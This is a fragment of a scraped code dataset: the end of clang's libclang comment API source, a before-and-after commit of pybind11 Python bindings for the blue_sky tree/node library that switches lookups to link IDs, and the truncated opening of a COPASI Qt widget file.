getASTNodeAs<TParamCommandComment>(CXC);\n if (!TPCC)\n return false;\n\n return TPCC->isPositionValid();\n}\n\nunsigned clang_TParamCommandComment_getDepth(CXComment CXC) {\n const TParamCommandComment *TPCC = getASTNodeAs<TParamCommandComment>(CXC);\n if (!TPCC || !TPCC->isPositionValid())\n return 0;\n\n return TPCC->getDepth();\n}\n\nunsigned clang_TParamCommandComment_getIndex(CXComment CXC, unsigned Depth) {\n const TParamCommandComment *TPCC = getASTNodeAs<TParamCommandComment>(CXC);\n if (!TPCC || !TPCC->isPositionValid() || Depth >= TPCC->getDepth())\n return 0;\n\n return TPCC->getIndex(Depth);\n}\n\nCXString clang_VerbatimBlockLineComment_getText(CXComment CXC) {\n const VerbatimBlockLineComment *VBL =\n getASTNodeAs<VerbatimBlockLineComment>(CXC);\n if (!VBL)\n return cxstring::createNull();\n\n return cxstring::createRef(VBL->getText());\n}\n\nCXString clang_VerbatimLineComment_getText(CXComment CXC) {\n const VerbatimLineComment *VLC = getASTNodeAs<VerbatimLineComment>(CXC);\n if (!VLC)\n return cxstring::createNull();\n\n return cxstring::createRef(VLC->getText());\n}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ Converting comments to XML.\n\/\/===----------------------------------------------------------------------===\/\/\n\nCXString clang_HTMLTagComment_getAsString(CXComment CXC) {\n const HTMLTagComment *HTC = getASTNodeAs<HTMLTagComment>(CXC);\n if (!HTC)\n return cxstring::createNull();\n\n CXTranslationUnit TU = CXC.TranslationUnit;\n if (!TU->CommentToXML)\n TU->CommentToXML = new clang::index::CommentToXMLConverter();\n\n SmallString<128> Text;\n TU->CommentToXML->convertHTMLTagNodeToText(\n HTC, Text, cxtu::getASTUnit(TU)->getASTContext());\n return cxstring::createDup(Text.str());\n}\n\nCXString clang_FullComment_getAsHTML(CXComment CXC) {\n const FullComment *FC = getASTNodeAs<FullComment>(CXC);\n if (!FC)\n return cxstring::createNull();\n\n CXTranslationUnit TU = CXC.TranslationUnit;\n if (!TU->CommentToXML)\n TU->CommentToXML = new clang::index::CommentToXMLConverter();\n\n SmallString<1024> HTML;\n TU->CommentToXML\n ->convertCommentToHTML(FC, HTML, cxtu::getASTUnit(TU)->getASTContext());\n return cxstring::createDup(HTML.str());\n}\n\nCXString clang_FullComment_getAsXML(CXComment CXC) {\n const FullComment *FC = getASTNodeAs<FullComment>(CXC);\n if (!FC)\n return cxstring::createNull();\n\n CXTranslationUnit TU = CXC.TranslationUnit;\n if (!TU->CommentToXML)\n TU->CommentToXML = new clang::index::CommentToXMLConverter();\n\n SmallString<1024> XML;\n TU->CommentToXML\n ->convertCommentToXML(FC, XML, cxtu::getASTUnit(TU)->getASTContext());\n return cxstring::createDup(XML.str());\n}\n\n} \/\/ end extern \"C\"\n\n<|endoftext|>"} {"text":"<commit_before>\/\/\/ @file\n\/\/\/ @author uentity\n\/\/\/ @date 22.09.2017\n\/\/\/ @brief BS tree Python bindings\n\/\/\/ @copyright\n\/\/\/ This Source Code Form is subject to the terms of the Mozilla Public License,\n\/\/\/ v. 2.0. If a copy of the MPL was not distributed with this file,\n\/\/\/ You can obtain one at https:\/\/mozilla.org\/MPL\/2.0\/\n\n#include <bs\/bs.h>\n#include <bs\/link.h>\n#include <bs\/node.h>\n#include <boost\/uuid\/uuid_io.hpp>\n#include <boost\/uuid\/string_generator.hpp>\n#include <string>\n\n#include <iostream>\n\nNAMESPACE_BEGIN(blue_sky)\nNAMESPACE_BEGIN(python)\nusing namespace tree;\n\nnamespace {\n\ntemplate<typename Link = link>\nclass py_link : public Link {\npublic:\n\tusing Link::Link;\n\n\tsp_link clone() const override {\n\t\tPYBIND11_OVERLOAD_PURE(sp_link, Link, clone, );\n\t}\n\n\tsp_obj data() const override {\n\t\tPYBIND11_OVERLOAD_PURE(sp_obj, Link, data, );\n\t}\n\n\tstd::string type_id() const override {\n\t\tPYBIND11_OVERLOAD_PURE(std::string, Link, type_id, );\n\t}\n\n\tstd::string oid() const override {\n\t\tPYBIND11_OVERLOAD_PURE(std::string, Link, oid, );\n\t}\n\n\tstd::string obj_type_id() const override {\n\t\tPYBIND11_OVERLOAD_PURE(std::string, Link, obj_type_id, );\n\t}\n\n\tsp_node data_node() const override {\n\t\tPYBIND11_OVERLOAD_PURE(sp_node, Link, data_node, );\n\t}\n};\n\nstatic boost::uuids::string_generator uuid_from_str;\n\nvoid print_link(const sp_link& l, int level = 0) {\n\tstatic const auto dumplnk = [](const sp_link& l_) {\n\t\tstd::cout << l_->name() << \" -> (\" << l_->obj_type_id() << \", \" << l_->oid() << \")\" << std::endl;\n\t};\n\n\tconst std::string loffs(level*2, ' ');\n\t\/\/ print link itself\n\tstd::cout << loffs;\n\tdumplnk(l);\n\tif(auto n = l->data_node()) {\n\t\t\/\/ print leafs\n\t\tfor(const auto &leaf : *n)\n\t\t\tprint_link(leaf, level+1);\n\t}\n}\n\n}\n\nvoid py_bind_tree(py::module& m) {\n\tpy::class_<inode>(m, \"inode\")\n\t\t.def(py::init<std::string, std::string>())\n\t\t.def_readonly(\"owner\", &inode::owner)\n\t\t.def_readonly(\"group\", &inode::group)\n\t\t.def_property_readonly(\"suid\", [](const inode& i) { return i.suid; })\n\t\t.def_property_readonly(\"sgid\", [](const inode& i) { return i.sgid; })\n\t\t.def_property_readonly(\"sticky\", [](const inode& i) { return i.sticky; })\n\t\t.def_property_readonly(\"u\", [](const inode& i) { return i.u; })\n\t\t.def_property_readonly(\"g\", [](const inode& i) { return i.g; })\n\t\t.def_property_readonly(\"o\", [](const inode& i) { return i.o; })\n\t;\n\n\tpy::class_<link, py_link<>, std::shared_ptr<link>> link_pyface(m, \"link\");\n\tlink_pyface\n\t\t.def(py::init<std::string>())\n\t\t.def(\"clone\", &link::clone)\n\t\t.def(\"data\", &link::data)\n\t\t.def(\"type_id\", &link::type_id)\n\t\t.def(\"oid\", &link::oid)\n\t\t.def(\"obj_type_id\", &link::obj_type_id)\n\t\t.def(\"data_node\", &link::data_node)\n\t\t.def_property_readonly(\"id\", [](const link& L) {\n\t\t\treturn boost::uuids::to_string(L.id());\n\t\t})\n\t\t.def_property_readonly(\"name\", &link::name)\n\t\t.def_property(\"inode\",\n\t\t\tpy::overload_cast<>(&link::get_inode, py::const_),\n\t\t\tpy::overload_cast<>(&link::get_inode)\n\t\t)\n\t\t.def_property_readonly(\"owner\", &link::owner)\n\t;\n\n\tpy::class_<hard_link, link, py_link<hard_link>, std::shared_ptr<hard_link>>(m, \"hard_link\")\n\t\t.def(py::init<std::string, sp_obj>())\n\t;\n\tpy::class_<weak_link, link, py_link<weak_link>, std::shared_ptr<weak_link>>(m, \"weak_link\")\n\t\t.def(py::init<std::string, const sp_obj&>())\n\t;\n\n\t\/\/ forward define node\n\tpy::class_<node, objbase, std::shared_ptr<node>> node_pyface(m, \"node\");\n\n\t\/\/ export node's Key enum\n\tpy::enum_<node::Key>(node_pyface, \"Key\")\n\t\t.value(\"ID\", node::Key::ID)\n\t\t.value(\"OID\", node::Key::OID)\n\t\t.value(\"Name\", node::Key::Name)\n\t\t.value(\"Type\", node::Key::Type)\n\t;\n\t\/\/ export node's insert policy\n\tpy::enum_<node::InsertPolicy>(node_pyface, \"InsertPolicy\")\n\t\t.value(\"AllowDupNames\", node::InsertPolicy::AllowDupNames)\n\t\t.value(\"DenyDupNames\", node::InsertPolicy::DenyDupNames)\n\t\t.value(\"RenameDup\", node::InsertPolicy::RenameDup)\n\t\t.value(\"DenyDupOID\", node::InsertPolicy::DenyDupOID)\n\t\t.value(\"Merge\", node::InsertPolicy::Merge)\n\t\t.export_values();\n\t;\n\n\t\/\/ fill node with methods\n\tnode_pyface\n\t\tBSPY_EXPORT_DEF(node)\n\t\t.def(py::init<>())\n\t\t.def(\"__len__\", &node::size)\n\t\t.def(\"__iter__\",\n\t\t\t[](const node& N) { return py::make_iterator(N.begin(), N.end()); },\n\t\t\tpy::keep_alive<0, 1>()\n\t\t)\n\n\t\t\/\/ check by link name or object instance (object's ID)\n\t\t.def(\"__contains__\", [](const node& N, py::object key) {\n\t\t\tif(PyString_Check(key.ptr()))\n\t\t\t\treturn N.find(py::cast<std::string>(key)) != N.end<>();\n\t\t\treturn N.find_oid(py::cast<sp_obj>(key)->id()) != N.end<>();\n\t\t})\n\t\t\/\/ check by link ID\n\t\t.def(\"contains_lid\", [](const node& N, const std::string& lid) {\n\t\t\treturn N.find(uuid_from_str(lid)) != N.end<>();\n\t\t}, \"LID\", \"Check if node contains link with given ID\")\n\t\t\/\/ check by object ID\n\t\t.def(\"contains_oid\", [](const node& N, const std::string& oid) {\n\t\t\treturn N.find_oid(oid) != N.end<>();\n\t\t}, \"OID\", \"Check if node contains object with given ID\")\n\t\t\/\/ check by object type\n\t\t.def(\"contains_type\", [](const node& N, const std::string& type_id) {\n\t\t\treturn N.equal_type(type_id).first != N.end<node::Key::Type>();\n\t\t}, \"obj_type_id\", \"Check if node contains objects with given type\")\n\n\t\t\/\/ get item by int index\n\t\t.def(\"__getitem__\", [](const node& N, const long idx) {\n\t\t\t\/\/ support for Pythonish indexing from both ends\n\t\t\tif(std::size_t(std::abs(idx)) > N.size())\n\t\t\t\tthrow py::key_error(\"Index out of bounds\");\n\t\t\tauto pos = idx < 0 ? N.end() : N.begin();\n\t\t\tstd::advance(pos, idx);\n\t\t\tif(pos == N.end()) throw py::key_error(\"Index out of bounds\");\n\t\t\treturn *pos;\n\t\t}, py::return_value_policy::reference_internal, \"link_idx\"_a)\n\t\t\/\/ search by link name\n\t\t.def(\"__getitem__\", [](const node& N, const std::string& link_name) {\n\t\t\tauto r = N.find(link_name);\n\t\t\tif(r != N.end<>()) return *r;\n\t\t\tthrow py::key_error(\"Node doesn't contain link with name '\" + link_name + \"'\");\n\t\t}, py::return_value_policy::reference_internal, \"link_name\"_a)\n\t\t\/\/ search by object instance\n\t\t.def(\"__getitem__\", [](const node& N, const sp_obj& obj) {\n\t\t\tauto r = N.find(obj->id());\n\t\t\tif(r != N.end<>()) return *r;\n\t\t\tthrow py::key_error(\"Node doesn't contain object with ID = \" + obj->id());\n\t\t}, py::return_value_policy::reference_internal, \"object\"_a)\n\t\t\/\/ search by object ID\n\t\t.def(\"find_oid\", [](const node& N, const std::string& oid) {\n\t\t\tauto r = N.find_oid(oid);\n\t\t\tif(r != N.end<>()) return *r;\n\t\t\tthrow py::key_error(\"Node doesn't contain object with ID - \" + oid);\n\t\t}, py::return_value_policy::reference_internal, \"OID\"_a, \"Find item by object ID\")\n\t\t\/\/ search by link ID\n\t\t.def(\"find_lid\", [](const node& N, const std::string& lid) {\n\t\t\tauto r = N.find(uuid_from_str(lid));\n\t\t\tif(r != N.end<>()) return *r;\n\t\t\tthrow py::key_error(\"Node doesn't contain link with ID - \" + lid);\n\t\t}, py::return_value_policy::reference_internal, \"LID\"_a, \"Find item by object link ID\")\n\n\t\t\/\/ deep search by link name or object instance (OID)\n\t\t.def(\"deep_search\", [](const node& N, py::object key) {\n\t\t\tif(PyString_Check(key.ptr()))\n\t\t\t\treturn N.deep_search(py::cast<std::string>(key));\n\t\t\treturn N.deep_search_oid(py::cast<sp_obj>(key)->id());\n\t\t}, \"key\"_a, \"Deep search for link with given name or by object instance (OID)\")\n\t\t.def(\"deep_search_lid\", [](const node& N, const std::string& lid) {\n\t\t\treturn N.deep_search(uuid_from_str(lid));\n\t\t}, \"LID\"_a, \"Deep search for link with given ID\")\n\t\t\/\/ deep search by object ID\n\t\t.def(\"deep_search_oid\", [](const node& N, const std::string& oid) {\n\t\t\treturn N.deep_search_oid(oid);\n\t\t}, \"OID\"_a, \"Deep search for object with given ID\")\n\n\t\t.def(\"equal_range\", [](const node& N, const std::string& link_name) {\n\t\t\tauto r = N.equal_range(link_name);\n\t\t\treturn py::make_iterator(r.first, r.second);\n\t\t}, py::keep_alive<0, 1>(), \"link_name\"_a)\n\t\t.def(\"equal_range_oid\", [](const node& N, const std::string& oid) {\n\t\t\tauto r = N.equal_range_oid(oid);\n\t\t\treturn py::make_iterator(r.first, r.second);\n\t\t}, py::keep_alive<0, 1>(), \"OID\"_a)\n\t\t.def(\"equal_type\", [](const node& N, const std::string& type_id) {\n\t\t\tauto r = N.equal_type(type_id);\n\t\t\treturn py::make_iterator(r.first, r.second);\n\t\t}, py::keep_alive<0, 1>(), \"obj_type_id\"_a)\n\n\t\t\/\/ insert given link\n\t\t.def(\"insert\", [](node& N, sp_link l, uint pol = node::AllowDupNames) {\n\t\t\treturn N.insert(std::move(l)).second;\n\t\t}, \"link\"_a, \"pol\"_a = node::AllowDupNames, \"Insert given link\")\n\t\t\/\/ insert hard link to given object\n\t\t.def(\"insert\", [](node& N, std::string name, sp_obj obj, uint pol = node::AllowDupNames) {\n\t\t\treturn N.insert(std::move(name), std::move(obj), pol).second;\n\t\t}, \"name\"_a, \"obj\"_a, \"pol\"_a = node::AllowDupNames, \"Insert hard link to given object\")\n\n\t\t\/\/ erase by given index\n\t\t.def(\"__delitem__\", [](node& N, const long idx) {\n\t\t\t\/\/ support for Pythonish indexing from both ends\n\t\t\tif(std::size_t(std::abs(idx)) > N.size())\n\t\t\t\tthrow py::key_error(\"Index out of bounds\");\n\t\t\tN.erase(idx < 0 ? N.size() + idx : idx);\n\t\t})\n\t\t\/\/ erase by given link name or object instance (object's ID)\n\t\t.def(\"__delitem__\", [](node& N, py::object key) {\n\t\t\tif(PyString_Check(key.ptr()))\n\t\t\t\tN.erase(py::cast<std::string>(key));\n\t\t\tN.erase_oid(py::cast<sp_obj>(key)->id());\n\t\t})\n\t\t.def(\"erase\", (void (node::*)(const std::string&))&node::erase,\n\t\t\t\"link_name\"_a, \"Erase links with given name\")\n\t\t.def(\"erase_oid\", &node::erase_oid, \"obj\"_a, \"Erase links to given object\")\n\t\t.def(\"erase_lid\", [](node& N, const std::string& key) {\n\t\t\tN.erase(uuid_from_str(key));\n\t\t}, \"lid\"_a, \"Erase link with given ID\")\n\t\t.def(\"erase_type\", [](node& N, const std::string& type_id) {\n\t\t\tN.erase_type(type_id);\n\t\t}, \"obj_type_id\"_a, \"Erase all links pointing to objects with given type\")\n\n\t\t\/\/ misc functions\n\t\t.def_property_readonly(\"size\", &node::size)\n\t\t.def_property_readonly(\"empty\", &node::empty)\n\t\t.def(\"clear\", &node::clear, \"Clears all node contents\")\n\t\t.def(\"keys\", [](const node& N, node::Key ktype = node::Key::Name) {\n\t\t\tif(ktype == node::Key::ID) {\n\t\t\t\t\/\/ convert UUIDs to string representation\n\t\t\t\tauto keys = N.keys<>();\n\t\t\t\tstd::vector<std::string> res;\n\t\t\t\tres.reserve(keys.size());\n\t\t\t\tfor(const auto& k : keys)\n\t\t\t\t\tres.emplace_back(boost::uuids::to_string(k));\n\t\t\t\treturn res;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tswitch(ktype) {\n\t\t\t\tdefault:\n\t\t\t\tcase node::Key::Name :\n\t\t\t\t\treturn N.keys<node::Key::Name>();\n\t\t\t\tcase node::Key::OID :\n\t\t\t\t\treturn N.keys<node::Key::OID>();\n\t\t\t\tcase node::Key::Type :\n\t\t\t\t\treturn N.keys<node::Key::Type>();\n\t\t\t\t};\n\t\t\t}\n\t\t}, \"key_type\"_a = node::Key::Name)\n\t;\n\n\tm.def(\"print_link\", [](const sp_link& l) { print_link(l, 0); });\n\tm.def(\"print_link\", [](const sp_node& n, std::string name = \"\/\") {\n\t\tprint_link(std::make_shared<tree::hard_link>(name, n), 0);\n\t}, \"node\"_a, \"root_name\"_a = \"\/\");\n}\n\nNAMESPACE_END(python)\nNAMESPACE_END(blue_sky)\n\n<commit_msg>node.python: make link's ID a 'default' key for misc operations, update and fix bindings<commit_after>\/\/\/ @file\n\/\/\/ @author uentity\n\/\/\/ @date 22.09.2017\n\/\/\/ @brief BS tree Python bindings\n\/\/\/ @copyright\n\/\/\/ This Source Code Form is subject to the terms of the Mozilla Public License,\n\/\/\/ v. 2.0. If a copy of the MPL was not distributed with this file,\n\/\/\/ You can obtain one at https:\/\/mozilla.org\/MPL\/2.0\/\n\n#include <bs\/bs.h>\n#include <bs\/link.h>\n#include <bs\/node.h>\n#include <boost\/uuid\/uuid_io.hpp>\n#include <boost\/uuid\/string_generator.hpp>\n#include <string>\n\n#include <iostream>\n\nNAMESPACE_BEGIN(blue_sky)\nNAMESPACE_BEGIN(python)\nusing namespace tree;\n\nnamespace {\n\ntemplate<typename Link = link>\nclass py_link : public Link {\npublic:\n\tusing Link::Link;\n\n\tsp_link clone() const override {\n\t\tPYBIND11_OVERLOAD_PURE(sp_link, Link, clone, );\n\t}\n\n\tsp_obj data() const override {\n\t\tPYBIND11_OVERLOAD_PURE(sp_obj, Link, data, );\n\t}\n\n\tstd::string type_id() const override {\n\t\tPYBIND11_OVERLOAD_PURE(std::string, Link, type_id, );\n\t}\n\n\tstd::string oid() const override {\n\t\tPYBIND11_OVERLOAD_PURE(std::string, Link, oid, );\n\t}\n\n\tstd::string obj_type_id() const override {\n\t\tPYBIND11_OVERLOAD_PURE(std::string, Link, obj_type_id, );\n\t}\n\n\tsp_node data_node() const override {\n\t\tPYBIND11_OVERLOAD_PURE(sp_node, Link, data_node, );\n\t}\n};\n\nstatic boost::uuids::string_generator uuid_from_str;\n\nvoid print_link(const sp_link& l, int level = 0) {\n\tstatic const auto dumplnk = [](const sp_link& l_) {\n\t\tstd::cout << l_->name() << \" -> (\" << l_->obj_type_id() << \", \" << l_->oid() << \")\" << std::endl;\n\t};\n\n\tconst std::string loffs(level*2, ' ');\n\t\/\/ print link itself\n\tstd::cout << loffs;\n\tdumplnk(l);\n\tif(auto n = l->data_node()) {\n\t\t\/\/ print leafs\n\t\tfor(const auto &leaf : *n)\n\t\t\tprint_link(leaf, level+1);\n\t}\n}\n\n}\n\nvoid py_bind_tree(py::module& m) {\n\tpy::class_<inode>(m, \"inode\")\n\t\t.def(py::init<std::string, std::string>())\n\t\t.def_readonly(\"owner\", &inode::owner)\n\t\t.def_readonly(\"group\", &inode::group)\n\t\t.def_property_readonly(\"suid\", [](const inode& i) { return i.suid; })\n\t\t.def_property_readonly(\"sgid\", [](const inode& i) { return i.sgid; })\n\t\t.def_property_readonly(\"sticky\", [](const inode& i) { return i.sticky; })\n\t\t.def_property_readonly(\"u\", [](const inode& i) { return i.u; })\n\t\t.def_property_readonly(\"g\", [](const inode& i) { return i.g; })\n\t\t.def_property_readonly(\"o\", [](const inode& i) { return i.o; })\n\t;\n\n\tpy::class_<link, py_link<>, std::shared_ptr<link>> link_pyface(m, \"link\");\n\tlink_pyface\n\t\t.def(py::init<std::string>())\n\t\t.def(\"clone\", &link::clone)\n\t\t.def(\"data\", &link::data)\n\t\t.def(\"type_id\", &link::type_id)\n\t\t.def(\"oid\", &link::oid)\n\t\t.def(\"obj_type_id\", &link::obj_type_id)\n\t\t.def(\"data_node\", &link::data_node)\n\t\t.def_property_readonly(\"id\", [](const link& L) {\n\t\t\treturn boost::uuids::to_string(L.id());\n\t\t})\n\t\t.def_property_readonly(\"name\", &link::name)\n\t\t.def_property(\"inode\",\n\t\t\tpy::overload_cast<>(&link::get_inode, py::const_),\n\t\t\tpy::overload_cast<>(&link::get_inode)\n\t\t)\n\t\t.def_property_readonly(\"owner\", &link::owner)\n\t;\n\n\tpy::class_<hard_link, link, py_link<hard_link>, std::shared_ptr<hard_link>>(m, \"hard_link\")\n\t\t.def(py::init<std::string, sp_obj>())\n\t;\n\tpy::class_<weak_link, link, py_link<weak_link>, std::shared_ptr<weak_link>>(m, \"weak_link\")\n\t\t.def(py::init<std::string, const sp_obj&>())\n\t;\n\n\t\/\/ forward define node\n\tpy::class_<node, objbase, std::shared_ptr<node>> node_pyface(m, \"node\");\n\n\t\/\/ export node's Key enum\n\tpy::enum_<node::Key>(node_pyface, \"Key\")\n\t\t.value(\"ID\", node::Key::ID)\n\t\t.value(\"OID\", node::Key::OID)\n\t\t.value(\"Name\", node::Key::Name)\n\t\t.value(\"Type\", node::Key::Type)\n\t\t.value(\"AnyOrder\", node::Key::AnyOrder)\n\t;\n\t\/\/ export node's insert policy\n\tpy::enum_<node::InsertPolicy>(node_pyface, \"InsertPolicy\")\n\t\t.value(\"AllowDupNames\", node::InsertPolicy::AllowDupNames)\n\t\t.value(\"DenyDupNames\", node::InsertPolicy::DenyDupNames)\n\t\t.value(\"RenameDup\", node::InsertPolicy::RenameDup)\n\t\t.value(\"DenyDupOID\", node::InsertPolicy::DenyDupOID)\n\t\t.value(\"Merge\", node::InsertPolicy::Merge)\n\t\t.export_values();\n\t;\n\n\t\/\/ fill node with methods\n\tnode_pyface\n\t\tBSPY_EXPORT_DEF(node)\n\t\t.def(py::init<>())\n\t\t.def(\"__len__\", &node::size)\n\t\t.def(\"__iter__\",\n\t\t\t[](const node& N) { return py::make_iterator(N.begin(), N.end()); },\n\t\t\tpy::keep_alive<0, 1>()\n\t\t)\n\n\t\t\/\/ check by link ID or object object's ID\n\t\t.def(\"__contains__\", [](const node& N, py::object key) {\n\t\t\tif(PyString_Check(key.ptr()))\n\t\t\t\treturn N.find(uuid_from_str(py::cast<std::string>(key))) != N.end<>();\n\t\t\treturn N.find_oid(py::cast<sp_obj>(key)->id()) != N.end<>();\n\t\t})\n\t\t\/\/ check by link name\n\t\t.def(\"contains_name\", [](const node& N, const std::string& lname) {\n\t\t\treturn N.find(lname) != N.end<>();\n\t\t}, \"link_name\", \"Check if node contains link with given name\")\n\t\t\/\/ check by object ID\n\t\t.def(\"contains_oid\", [](const node& N, const std::string& oid) {\n\t\t\treturn N.find_oid(oid) != N.end<>();\n\t\t}, \"oid\", \"Check if node contains link to object with given ID\")\n\t\t\/\/ check by object type\n\t\t.def(\"contains_type\", [](const node& N, const std::string& type_id) {\n\t\t\treturn N.equal_type(type_id).first != N.end<node::Key::Type>();\n\t\t}, \"obj_type_id\", \"Check if node contain links to objects with given type\")\n\n\t\t\/\/ get item by int index\n\t\t.def(\"__getitem__\", [](const node& N, const long idx) {\n\t\t\t\/\/ support for Pythonish indexing from both ends\n\t\t\tif(std::size_t(std::abs(idx)) > N.size())\n\t\t\t\tthrow py::key_error(\"Index out of bounds\");\n\t\t\tauto pos = idx < 0 ? N.end() : N.begin();\n\t\t\tstd::advance(pos, idx);\n\t\t\tif(pos == N.end()) throw py::key_error(\"Index out of bounds\");\n\t\t\treturn *pos;\n\t\t}, \"link_idx\"_a)\n\t\t\/\/ search by link name\n\t\t.def(\"__getitem__\", [](const node& N, const std::string& lid) {\n\t\t\tauto r = N.find(uuid_from_str(lid));\n\t\t\tif(r != N.end<>()) return *r;\n\t\t\tthrow py::key_error(\"Node doesn't contain link with ID \" + lid);\n\t\t}, \"link_name\"_a)\n\t\t\/\/ search by object instance\n\t\t.def(\"__getitem__\", [](const node& N, const sp_obj& obj) {\n\t\t\tauto r = N.find(obj->id());\n\t\t\tif(r != N.end<>()) return *r;\n\t\t\tthrow py::key_error(\"Node doesn't contain links to object with ID = \" + obj->id());\n\t\t}, \"object\"_a)\n\t\t\/\/ search by object ID\n\t\t.def(\"find_oid\", [](const node& N, const std::string& oid) {\n\t\t\tauto r = N.find_oid(oid);\n\t\t\tif(r != N.end<>()) return *r;\n\t\t\tthrow py::key_error(\"Node doesn't contain links to object with ID - \" + oid);\n\t\t}, \"oid\"_a, \"Find link by object ID\")\n\t\t\/\/ search by link name\n\t\t.def(\"find_name\", [](const node& N, const std::string& lname) {\n\t\t\tauto r = N.find(lname);\n\t\t\tif(r != N.end<>()) return *r;\n\t\t\tthrow py::key_error(\"Node doesn't contain link with name '\" + lname + \"'\");\n\t\t}, \"link_name\"_a, \"Find link by name\")\n\n\t\t\/\/ obtain index in custom order from link\n\t\t.def(\"index\", [](const node& N, const std::string& lid) {\n\t\t\treturn N.index(uuid_from_str(lid));\n\t\t}, \"lid\"_a, \"Find index of link with given ID\")\n\t\t.def(\"index\", [](const node& N, const sp_link& l) {\n\t\t\treturn N.index(l->id());\n\t\t}, \"link\"_a, \"Find index of given link\")\n\n\t\t\/\/ deep search by link ID or object ID\n\t\t.def(\"deep_search\", [](const node& N, py::object key) {\n\t\t\tif(PyString_Check(key.ptr()))\n\t\t\t\treturn N.deep_search(uuid_from_str(py::cast<std::string>(key)));\n\t\t\treturn N.deep_search_oid(py::cast<sp_obj>(key)->id());\n\t\t}, \"key\"_a, \"Deep search for link with given ID or by object instance (OID)\")\n\t\t.def(\"deep_search_name\", [](const node& N, const std::string& lname) {\n\t\t\treturn N.deep_search(lname);\n\t\t}, \"link_name\"_a, \"Deep search for link with given name\")\n\t\t\/\/ deep search by object ID\n\t\t.def(\"deep_search_oid\", [](const node& N, const std::string& oid) {\n\t\t\treturn N.deep_search_oid(oid);\n\t\t}, \"oid\"_a, \"Deep search for link to object with given ID\")\n\n\t\t.def(\"equal_range\", [](const node& N, const std::string& link_name) {\n\t\t\tauto r = N.equal_range(link_name);\n\t\t\treturn py::make_iterator(r.first, r.second);\n\t\t}, py::keep_alive<0, 1>(), \"link_name\"_a)\n\t\t.def(\"equal_range_oid\", [](const node& N, const std::string& oid) {\n\t\t\tauto r = N.equal_range_oid(oid);\n\t\t\treturn py::make_iterator(r.first, r.second);\n\t\t}, py::keep_alive<0, 1>(), \"OID\"_a)\n\t\t.def(\"equal_type\", [](const node& N, const std::string& type_id) {\n\t\t\tauto r = N.equal_type(type_id);\n\t\t\treturn py::make_iterator(r.first, r.second);\n\t\t}, py::keep_alive<0, 1>(), \"obj_type_id\"_a)\n\n\t\t\/\/ insert given link\n\t\t.def(\"insert\", [](node& N, sp_link l, uint pol = node::AllowDupNames) {\n\t\t\treturn N.insert(std::move(l)).second;\n\t\t}, \"link\"_a, \"pol\"_a = node::AllowDupNames, \"Insert given link\")\n\t\t\/\/ insert hard link to given object\n\t\t.def(\"insert\", [](node& N, std::string name, sp_obj obj, uint pol = node::AllowDupNames) {\n\t\t\treturn N.insert(std::move(name), std::move(obj), pol).second;\n\t\t}, \"name\"_a, \"obj\"_a, \"pol\"_a = node::AllowDupNames, \"Insert hard link to given object\")\n\n\t\t\/\/ erase by given index\n\t\t.def(\"__delitem__\", [](node& N, const long idx) {\n\t\t\t\/\/ support for Pythonish indexing from both ends\n\t\t\tif(std::size_t(std::abs(idx)) > N.size())\n\t\t\t\tthrow py::key_error(\"Index out of bounds\");\n\t\t\tN.erase(idx < 0 ? N.size() + idx : idx);\n\t\t})\n\t\t\/\/ erase by given link ID or object instance (object's ID)\n\t\t.def(\"__delitem__\", [](node& N, py::object key) {\n\t\t\tif(PyString_Check(key.ptr()))\n\t\t\t\tN.erase(uuid_from_str(py::cast<std::string>(key)));\n\t\t\telse\n\t\t\t\tN.erase_oid(py::cast<sp_obj>(key)->id());\n\t\t})\n\t\t.def(\"erase\", [](node& N, const std::string& key) {\n\t\t\tN.erase(uuid_from_str(key));\n\t\t}, \"lid\"_a, \"Erase link with given ID\")\n\t\t.def(\"erase_name\", (void (node::*)(const std::string&))&node::erase,\n\t\t\t\"link_name\"_a, \"Erase links with given name\")\n\t\t.def(\"erase_oid\", &node::erase_oid, \"obj\"_a, \"Erase links to given object\")\n\t\t.def(\"erase_type\", [](node& N, const std::string& type_id) {\n\t\t\tN.erase_type(type_id);\n\t\t}, \"obj_type_id\"_a, \"Erase all links pointing to objects with given type\")\n\n\t\t\/\/ misc functions\n\t\t.def_property_readonly(\"size\", &node::size)\n\t\t.def_property_readonly(\"empty\", &node::empty)\n\t\t.def(\"clear\", &node::clear, \"Clears all node contents\")\n\t\t.def(\"keys\", [](const node& N, node::Key ktype = node::Key::Name) {\n\t\t\tif(ktype == node::Key::ID) {\n\t\t\t\t\/\/ convert UUIDs to string representation\n\t\t\t\tauto keys = N.keys<>();\n\t\t\t\tstd::vector<std::string> res;\n\t\t\t\tres.reserve(keys.size());\n\t\t\t\tfor(const auto& k : keys)\n\t\t\t\t\tres.emplace_back(boost::uuids::to_string(k));\n\t\t\t\treturn res;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tswitch(ktype) {\n\t\t\t\tdefault:\n\t\t\t\tcase node::Key::Name :\n\t\t\t\t\treturn N.keys<node::Key::Name>();\n\t\t\t\tcase node::Key::OID :\n\t\t\t\t\treturn N.keys<node::Key::OID>();\n\t\t\t\tcase node::Key::Type :\n\t\t\t\t\treturn N.keys<node::Key::Type>();\n\t\t\t\t};\n\t\t\t}\n\t\t}, \"key_type\"_a = node::Key::Name)\n\t;\n\n\tm.def(\"print_link\", [](const sp_link& l) { print_link(l, 0); });\n\tm.def(\"print_link\", [](const sp_node& n, std::string name = \"\/\") {\n\t\tprint_link(std::make_shared<tree::hard_link>(name, n), 0);\n\t}, \"node\"_a, \"root_name\"_a = \"\/\");\n}\n\nNAMESPACE_END(python)\nNAMESPACE_END(blue_sky)\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ Begin CVS Header\n\/\/ $Source: \/Volumes\/Home\/Users\/shoops\/cvs\/copasi_dev\/copasi\/UI\/CQMathMatrixWidget.cpp,v $\n\/\/ $Revision: 1.1 $\n\/\/ $Name: $\n\/\/ $Author: ssahle $\n\/\/ $Date: 2007\/02\/09 16:49:41 $\n\/\/ End CVS Header\n\n\/\/ Copyright (C) 2007 by Pedro Mendes, Virginia Tech Intellectual\n\/\/ Properties, Inc. and EML Research, gGmbH.\n\/\/ All rights reserved.\n\n\/\/#include <qpushbutton.h>\n#include <qlayout.h>\n#include <qlineedit.h>\n#include <qlabel.h>\n#include <qtable.h>\n\n#include \"copasi.h\"\n\n#include \"CQMathMatrixWidget.h\"\n#include \"qtUtilities.h\"\n\/\/#include \"sensitivities\/CSensTask.h\"\n\/\/#include \"sensitivities\/CSensProblem.h\"\n\n#include \"CopasiDataModel\/CCopasiDataModel.h\"\n\/\/#include 